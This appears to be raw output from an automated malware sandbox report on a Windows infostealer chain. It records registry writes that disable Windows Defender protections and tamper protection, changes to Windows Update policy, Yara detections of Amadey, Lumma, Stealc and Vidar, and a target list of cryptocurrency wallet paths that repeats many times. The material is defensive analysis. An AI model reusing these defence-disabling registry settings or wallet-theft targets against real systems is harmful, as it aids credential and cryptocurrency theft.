Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe

Code function: 9_2_61EAF850 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

9_2_61EAF850

Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe

Registry value created: TamperProtection 0

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations

Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 2.2.skotes.exe.6c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.440000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.skotes.exe.6c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2107998827.0000000000441000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2618225636.0000000004C50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2166546113.00000000006C1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2126359848.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2067711605.0000000004CA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2152371518.00000000006C1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2111778278.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match	File source: 0000000B.00000003.3153308328.00000000017DF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 6d2b6a8d0b.exe PID: 2892, type: MEMORYSTR

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: c9ac8940e6.exe PID: 1896, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 0000001F.00000003.3229372369.0000000005710000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.3658723623.0000000000D71000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3616618851.00000000019CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.3672144910.00000000019CB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.3042712331.0000000005730000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3600590681.0000000000D71000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 194fcc03d1.exe PID: 3172, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: 194fcc03d1.exe PID: 3172, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 194fcc03d1.exe, 00000009.00000002.3616618851.0000000001A42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 194fcc03d1.exe, 00000009.00000002.3600590681.0000000000E25000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: 194fcc03d1.exe, 00000009.00000002.3616618851.0000000001A42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 194fcc03d1.exe, 00000009.00000002.3600590681.0000000000E25000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: Jaxx Desktop (old)
Source: 194fcc03d1.exe, 00000009.00000002.3616618851.0000000001A42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 194fcc03d1.exe, 00000009.00000002.3616618851.0000000001A42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 194fcc03d1.exe, 00000009.00000002.3600590681.0000000000E25000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: 194fcc03d1.exe, 00000009.00000002.3600590681.0000000000E25000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: info.seco
Source: 194fcc03d1.exe, 00000009.00000002.3616618851.0000000001A42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 194fcc03d1.exe, 00000009.00000002.3600590681.0000000000E25000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: 194fcc03d1.exe, 00000009.00000002.3616618851.0000000001A42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 194fcc03d1.exe, 00000009.00000002.3616618851.0000000001A42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 194fcc03d1.exe, 00000009.00000002.3600590681.0000000000E25000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: Exodus\exodus.wallet
Source: 194fcc03d1.exe, 00000009.00000002.3600590681.0000000000E25000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: file__0.localstorage
Source: 194fcc03d1.exe, 00000009.00000002.3616618851.0000000001A42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 194fcc03d1.exe, 00000009.00000002.3616618851.0000000001A42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 16.113s\user\AppData\Roaming\\Coinomi\Coinomi\wallets\\.G
Source: 194fcc03d1.exe, 00000009.00000002.3600590681.0000000000E25000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: 194fcc03d1.exe, 00000009.00000002.3600590681.0000000000E25000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: MultiDoge
Source: 194fcc03d1.exe, 00000009.00000002.3600590681.0000000000E25000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: seed.seco
